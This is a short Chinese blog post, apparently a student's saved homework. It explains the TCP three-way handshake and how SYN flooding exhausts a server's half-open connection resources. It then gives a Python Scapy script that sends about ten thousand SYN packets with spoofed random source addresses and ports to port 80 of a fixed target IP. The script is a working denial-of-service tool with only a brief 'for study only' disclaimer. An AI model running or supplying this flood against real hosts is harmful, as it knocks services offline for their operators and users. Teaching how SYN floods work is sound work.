用python实现SYN Flooding攻击

作业里的代码,直接这里copy在这里记录一下。

 

 

在TCP/IP协议中,当客户端试着与服务器间创建TCP连接时,正常情况下客户端与服务器端进行TCP三次握手:

1. 客户端通过发送SYN同步(synchronize)信息到服务器要求创建连接。
2. 服务器通过响应客户端SYN-ACK以抄收(acknowledge)请求。
3. 客户端答应ACK,连接随之建立。

当开放了一个TCP端口后,该端口就处于Listening状态,不停地监视发到该端口的Syn报文,一 旦接收到Client发来的Syn报文,就需要为该请求分配一个TCB(Transmission Control Block),通常一个TCB至少需要280个字节,在某些操作系统中TCB甚至需要1300个字节,并返回一个SYN ACK命令,立即转为SYN-RECEIVED即半开连接状态,而某些操作系统在SOCK的实现上最多可开启512个半开连接。如果恶意的向某个服务器端口发送大量的SYN包,则可以使服务器打开大量的半开连接,分配TCB,从而消耗大量的服务器资源,同时也使得正常的连接请求无法被相应。而攻击发起方的资源消耗相比较可忽略不计。

本代码中发了一万个SYN包,源IP地址是从10.200.101.3到255(可根据需要更改)随机选取的,源端口在49512到65535范围内,目标IP为10.200.101.2,目标端口为80。

以上信息都可以根据实际需求更改。

此代码仅供交流和学习,请勿用于攻击他人和商业行为,违者后果自负。

 

python代码:

 

# Author: quarter26

 

from scapy.all import *

import random

for i in range(0,9999):

random_ip='10.'+'200.'+'101.'+str(random.randrange(0,255))

random_sPort=random.randrange(49512,65535)

ip=IP(src=random_ip, dst='10.200.101.2')

pkt=TCP(sport=random_sPort, dport=80, flags='S', seq=11111)

synpacket=(ip/pkt)

send(synpacket)

 

你可能感兴趣的:(Hacking)